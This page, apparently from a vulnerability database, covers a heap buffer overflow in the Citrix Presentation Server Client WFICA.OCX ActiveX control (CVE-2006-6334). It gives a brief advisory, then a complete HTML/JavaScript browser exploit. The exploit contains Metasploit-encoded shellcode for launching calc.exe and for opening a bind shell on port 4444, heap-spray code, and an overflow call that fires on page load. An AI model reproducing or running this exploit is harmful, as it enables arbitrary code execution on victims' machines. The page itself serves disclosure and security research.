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Citrix Presentation Server Client 9.200 - WFICA.OCX ActiveX Component Heap Buffer Overflow Vulnerability

🗓️ 06 Dec 2006 00:00:00Reported by Andrew ChristensenType 
exploitdb
 exploitdb🔗 www.exploit-db.com👁 30 Views

Citrix Presentation Server Client 9.200 - WFICA.OCX ActiveX Component Heap Buffer Overflow Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today		Citrix Presentation Server Client WFICA.OCX ActiveX Heap BOF Exploit
12 Feb 200800:00
–zdt
Check Point Advisories		Citrix Presentation Server Client wfica.ocx Buffer Overflow (CVE-2006-6334)
14 Jan 200700:00
–checkpoint_advisories
CVE		CVE-2006-6334
8 Dec 200601:00
–cve
Cvelist		CVE-2006-6334
8 Dec 200601:00
–cvelist
d2		DSquare Exploit Pack: D2SEC_WFICA
8 Dec 200601:28
–d2
Exploit DB		Citrix Presentation Server Client - 'WFICA.OCX' ActiveX Heap Buffer Overflow
12 Feb 200800:00
–exploitdb
exploitpack		Citrix Presentation Server Client - WFICA.OCX ActiveX Heap Buffer Overflow
12 Feb 200800:00
–exploitpack
NVD		CVE-2006-6334
8 Dec 200601:28
–nvd
Packet Storm		citrix-overflow.txt
13 Feb 200800:00
–packetstorm
securityvulns		TSRT-06-15: Citrix Presentation Server Client ActiveX Heap Overflow Vulnerability
7 Dec 200600:00
–securityvulns
Rows per page
source: http://www.securityfocus.com/bid/21458/info

Citrix Presentation Server Client is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

Presentation Server Client 9.200 is vulnerable; other versions may also be affected.

<!-- Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit Vulnerability discovered by Andrew Christensen and Aaron Portnoy http://www.securityfocus.com/bid/21458 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6334 written by e.b. Tested on Windows XP SP2(fully patched) English, IE6, wfica.ocx version 9.200.44376.0 Thanks to h.d.m. and the Metasploit crew Note: Shellcode will execute when IE is closed. --> <html> <head> <title>Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit</title> <script language="JavaScript" defer> function Check() { // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" + "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" + "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" + "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" + "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" + "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" + "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" + "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" + "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" + "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" + "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" + "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" + "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" + "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" + "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" + "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" + "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" + "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" + "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" + "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" + "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" + "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" + "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" + "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" + "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" + "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" + "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" + "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" + "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" + "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" + "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" + "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" + "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" + "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" + "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" + "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" + "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" + "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" + "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" + "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" + "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" + "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" + "%u684f%u3956%u386f%u4350"); var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var slackspace = headersize + shellcode1.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 } var buf = "" for (i = 0; i < 2100; i++) { buf = buf + unescape("%30%41") } obj.SendChannelData("nothing",buf,816,1); } </script> </head> <body onload="JavaScript: return Check();"> <object classid="clsid:238F6F83-B8B4-11CF-8771-00A024541EE3" id="obj"> Unable to create object </object> </body> </html>

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06 Dec 2006 00:00Current
0.3Low risk
Vulners AI Score0.3
CVSS 26.8
EPSS0.20496
buffer overflowheap vulnerabilitycitrix presentation server client
30